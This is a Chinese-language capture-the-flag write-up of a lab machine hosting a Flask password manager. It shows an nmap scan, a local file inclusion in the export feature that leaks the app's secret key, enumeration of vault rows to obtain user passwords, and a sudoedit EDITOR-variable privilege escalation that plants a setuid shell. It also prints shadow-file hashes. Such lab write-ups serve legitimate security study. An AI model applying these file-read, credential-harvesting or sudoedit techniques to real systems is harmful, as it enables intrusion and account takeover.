基本信息

  • 10.10.11.203

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-05 21:42 CST
Nmap scan report for 10.10.11.203
Host is up (0.090s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.64 seconds

80

需要加hosts:

1
10.10.11.203 superpass.htb

在线密码管理器:

SuperPassword

LFI

注册登录,简单的测试功能,发现导出功能存在LFI:

构造不正确信息例如简单的一个点,报错信息中得到应用目录:

app.py

flask应用,那直接读app.py,得到SECRET_KEY:

1
app.config['SECRET_KEY'] = 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'

vault_views.py

1
2
corum
5db7caa1d13cc37c9fc2

查看代码发现’/vault/row/<id>‘接口,简单的遍历在8中得到corum的agile密码:

user flag

得到的账号密码登录,得到user flag:

Port 5555

简单的枚举发现5555端口在本机运行,转发出来访问,应该是同样应用的测试版:

1
ssh -L 127.0.0.1:5555:127.0.0.1:5555 corum@10.10.11.203

edwards

用和生产环境同样的方法得到edwards的密码:

1
2
edwards
d07867c6267dcb5df0af

提权信息

edwards有以dev_admin运行sudoedit的权限:

搜索可以发现相关漏洞,但我们需要根据当前配置情况手动利用,作者特意做了些限制:

提权 & root flag

通过环境变量来编辑其他文件,例如当前环境中venv相关文件,:

1
2
export EDITOR="vim -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json

在activate文件中添加命令,例如给bash加suid,等待自动执行:

shadow

1
2
3
root:$y$j9T$aVz0UjJ8lKXB0U/ishNnn.$xjtp7fGYHDgeqSVAgoF8scjYgJ.SG7HoSCsxL7/Pie.:19382:0:99999:7:::
corum:$y$j9T$OGDuj.6PoMVUi2isIxr1m/$XmaKi6K.1aQwDSQA5A9N3amFEu4P8j4f8wvnku3SrB6:19382:0:99999:7:::
edwards:$y$j9T$Ys32s08M6KOz1HkP3T52x.$loCNh19xW9yMvjznJ52qtZqsPvWylaIHV2cNFIxdXA5:19382:0:99999:7:::

参考资料